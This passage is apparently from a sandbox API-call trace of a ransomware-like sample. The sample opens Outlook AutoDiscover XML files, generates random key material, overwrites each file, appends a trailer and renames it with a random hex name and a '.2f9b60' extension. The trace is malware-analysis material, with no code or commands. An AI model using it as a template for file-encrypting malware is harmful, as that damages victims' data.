RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f030 [0235.505] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="83") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="41") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="db") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="34") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="43") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="c7") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="af") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="23") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="25") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="79") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="56") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f058, _Format="%c%c" | out: _Dest="af") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f05a, _Format="%c%c" | out: _Dest="17") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f05c, _Format="%c%c" | out: _Dest="ff") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f05e, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f060, _Format="%c%c" | out: _Dest="07") returned 2 [0235.505] sprintf (in: _Dest=0x1cd9f062, _Format="%c%c" | out: _Dest="83") returned 2 [0235.505] RtlInitAnsiString (in: DestinationString=0x2f7df7c8, SourceString="83a5fb41db3443b43dc7afb923257956dca10eecaf17ff3b0783" | out: DestinationString="83a5fb41db3443b43dc7afb923257956dca10eecaf17ff3b0783") [0235.505] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f7df798, SourceString="83a5fb41db3443b43dc7afb923257956dca10eecaf17ff3b0783", AllocateDestinationString=1 | out: DestinationString="83a5fb41db3443b43dc7afb923257956dca10eecaf17ff3b0783") returned 0x0 [0235.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504f10 [0235.506] wcscat (in: _Dest=0x431f6090, _Source="83a5fb41db344" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344" [0235.506] wcscat (in: _Dest=0x431f6090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344.2f9b60" [0235.506] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344.2f9b60", NtPathName=0x2f7df770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\83a5fb41db344.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118470 Thread: id = 3838 os_tid = 0xd18 [0227.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml")) returned 0x20 [0229.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", dwFileAttributes=0x20) returned 1 [0229.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x900 [0229.280] GetFileSizeEx (in: hFile=0x900, lpFileSize=0x2f75fc80 | out: lpFileSize=0x2f75fc80*=804) returned 1 [0229.280] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.280] ReadFile (in: hFile=0x900, lpBuffer=0x2f75fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f75fc48, lpOverlapped=0x0 | out: lpBuffer=0x2f75fc00*, lpNumberOfBytesRead=0x2f75fc48*=0x4, lpOverlapped=0x0) returned 1 [0230.728] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0230.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0230.729] NtQuerySystemTime (in: CurrentTime=0x2f75fb40 | out: CurrentTime=0x2f75fb40*=132462178347250000) returned 0x0 [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x61cf5a41 [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x3982dd2e [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x266c6613 [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x50f7296c [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x1a0be0db [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x747ebdeb [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x40fb8eca [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x1332dddf [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x4bac6b6 [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x69999e53 [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x1c6910aa [0230.729] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x250ae95a [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x21313469 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x47c39a40 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x722cca7c [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x3525a172 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x787d640f [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0xb04a0d [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x4f47f175 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x7a20603d [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x28db316d [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x7c2e4bfa [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x6108e9d1 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x623e2e88 [0230.730] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x61a283f0 [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x50dd8f [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x7a09624b [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x606f8dd4 [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0xc5553a9 [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x42c81395 [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x9cd3cc [0230.731] RtlRandomEx (in: Seed=0x2f75fb30 | out: Seed=0x2f75fb30) returned 0x6a8b6ade [0230.739] ReadFile (in: hFile=0x900, lpBuffer=0x42f92110, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x2f75fb30, lpOverlapped=0x0 | out: lpBuffer=0x42f92110*, lpNumberOfBytesRead=0x2f75fb30*=0x324, lpOverlapped=0x0) returned 1 [0230.739] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.739] WriteFile (in: hFile=0x900, lpBuffer=0x42f8a8f0*, nNumberOfBytesToWrite=0x324, lpNumberOfBytesWritten=0x2f75fb34, lpOverlapped=0x0 | out: lpBuffer=0x42f8a8f0*, lpNumberOfBytesWritten=0x2f75fb34*=0x324, lpOverlapped=0x0) returned 1 [0233.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0233.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260290 [0233.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260290) returned 1 [0233.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f8a8f0) returned 1 [0233.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f92110) returned 1 [0233.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0233.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0233.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260290 [0233.854] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.854] WriteFile (in: hFile=0x900, lpBuffer=0x431f2100*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f75fc50, lpOverlapped=0x0 | out: lpBuffer=0x431f2100*, lpNumberOfBytesWritten=0x2f75fc50*=0x10a, lpOverlapped=0x0) returned 1 [0236.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0236.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0236.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0236.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0236.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431acda0 [0236.110] sprintf (in: _Dest=0x431acda0, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.110] sprintf (in: _Dest=0x431acda2, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.110] sprintf (in: _Dest=0x431acda4, _Format="%c%c" | out: _Dest="09") returned 2 [0236.110] sprintf (in: _Dest=0x431acda6, _Format="%c%c" | out: _Dest="bc") returned 2 [0236.110] sprintf (in: _Dest=0x431acda8, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.110] sprintf (in: _Dest=0x431acdaa, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.110] sprintf (in: _Dest=0x431acdac, _Format="%c%c" | out: _Dest="33") returned 2 [0236.110] sprintf (in: _Dest=0x431acdae, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.110] sprintf (in: _Dest=0x431acdb0, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.110] sprintf (in: _Dest=0x431acdb2, _Format="%c%c" | out: _Dest="26") returned 2 [0236.110] sprintf (in: _Dest=0x431acdb4, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.110] sprintf (in: _Dest=0x431acdb6, _Format="%c%c" | out: _Dest="66") returned 2 [0236.110] sprintf (in: _Dest=0x431acdb8, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.110] sprintf (in: _Dest=0x431acdba, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.110] sprintf (in: _Dest=0x431acdbc, _Format="%c%c" | out: _Dest="d0") returned 2 [0236.110] sprintf (in: _Dest=0x431acdbe, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.110] sprintf (in: _Dest=0x431acdc0, _Format="%c%c" | out: _Dest="68") returned 2 [0236.110] sprintf (in: _Dest=0x431acdc2, _Format="%c%c" | out: _Dest="23") returned 2 [0236.110] sprintf (in: _Dest=0x431acdc4, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.110] sprintf (in: _Dest=0x431acdc6, _Format="%c%c" | out: _Dest="51") returned 2 [0236.110] sprintf (in: _Dest=0x431acdc8, _Format="%c%c" | out: _Dest="df") returned 2 [0236.110] sprintf (in: _Dest=0x431acdca, _Format="%c%c" | out: _Dest="df") returned 2 [0236.110] sprintf (in: _Dest=0x431acdcc, _Format="%c%c" | out: _Dest="45") returned 2 [0236.110] sprintf (in: _Dest=0x431acdce, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.110] RtlInitAnsiString (in: DestinationString=0x2f75fcc8, SourceString="b16a09bca16c33b31e26f7667de8d0ce68232a51dfdf459e" | out: DestinationString="b16a09bca16c33b31e26f7667de8d0ce68232a51dfdf459e") [0236.110] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f75fc98, SourceString="b16a09bca16c33b31e26f7667de8d0ce68232a51dfdf459e", AllocateDestinationString=1 | out: DestinationString="b16a09bca16c33b31e26f7667de8d0ce68232a51dfdf459e") returned 0x0 [0236.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319fa60 [0236.111] wcscat (in: _Dest=0x431f6140, _Source="b16a09bca16c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c" [0236.111] wcscat (in: _Dest=0x431f6140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c.2f9b60" [0236.111] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c.2f9b60", NtPathName=0x2f75fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b16a09bca16c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430ffc40 Thread: id = 3839 os_tid = 0x20c [0227.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml")) returned 0x20 [0229.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", dwFileAttributes=0x20) returned 1 [0229.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3158 [0229.237] GetFileSizeEx (in: hFile=0x3158, lpFileSize=0x2f38fbe0 | out: lpFileSize=0x2f38fbe0*=808) returned 1 [0229.237] SetFilePointerEx (in: hFile=0x3158, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.237] ReadFile (in: hFile=0x3158, lpBuffer=0x2f38fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f38fba8, lpOverlapped=0x0 | out: lpBuffer=0x2f38fb60*, lpNumberOfBytesRead=0x2f38fba8*=0x4, lpOverlapped=0x0) returned 1 [0229.402] SetFilePointerEx (in: hFile=0x3158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3da0 [0229.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c80 [0229.404] NtQuerySystemTime (in: CurrentTime=0x2f38faa0 | out: CurrentTime=0x2f38faa0*=132462178333990000) returned 0x0 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x21c5ebac [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x17e1a84b [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x784ff7a2 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x58ac2888 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x251049d8 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x7866288d [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x17d5adde [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x46e9ed35 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x58eafbd0 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x2a701130 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x53ed61b7 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x794ffdcb [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x15d12b3d [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x59b42d2a [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x47d4870c [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x38ca22af [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x251049d8 [0229.404] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0xc51913f [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x674e1328 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x24ed70b3 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x36ecceb4 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x5f083765 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x5a5575a0 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x7ed52619 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x5fd3ea07 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x6b4fde27 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x75b9826d [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x17e1a84b [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x317d8e3f [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x77727442 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x15dc5ff0 [0229.405] RtlRandomEx (in: Seed=0x2f38fa90 | out: Seed=0x2f38fa90) returned 0x4f9491a0 [0229.415] ReadFile (in: hFile=0x3158, lpBuffer=0x42aea280, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x2f38fa90, lpOverlapped=0x0 | out: lpBuffer=0x42aea280*, lpNumberOfBytesRead=0x2f38fa90*=0x328, lpOverlapped=0x0) returned 1 [0229.415] SetFilePointerEx (in: hFile=0x3158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.415] WriteFile (in: hFile=0x3158, lpBuffer=0x42aede90*, nNumberOfBytesToWrite=0x328, lpNumberOfBytesWritten=0x2f38fa94, lpOverlapped=0x0 | out: lpBuffer=0x42aede90*, lpNumberOfBytesWritten=0x2f38fa94*=0x328, lpOverlapped=0x0) returned 1 [0233.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0233.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0233.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0233.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aede90) returned 1 [0233.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aea280) returned 1 [0233.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0233.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62f00) returned 1 [0233.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262cf0 [0233.336] SetFilePointerEx (in: hFile=0x3158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.336] WriteFile (in: hFile=0x3158, lpBuffer=0x42c14870*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f38fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c14870*, lpNumberOfBytesWritten=0x2f38fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0235.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b00 [0235.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b00) returned 1 [0235.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b00 [0235.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ed0 [0235.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ed0) returned 1 [0235.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f030 [0235.498] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="91") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="de") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="16") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="00") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="99") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="57") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="06") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="38") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="54") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: _Dest="65") returned 2 [0235.498] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.499] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.499] sprintf (in: _Dest=0x1cd9f058, _Format="%c%c" | out: _Dest="75") returned 2 [0235.499] sprintf (in: _Dest=0x1cd9f05a, _Format="%c%c" | out: _Dest="da") returned 2 [0235.499] sprintf (in: _Dest=0x1cd9f05c, _Format="%c%c" | out: _Dest="42") returned 2 [0235.499] sprintf (in: _Dest=0x1cd9f05e, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.499] RtlInitAnsiString (in: DestinationString=0x2f38fc28, 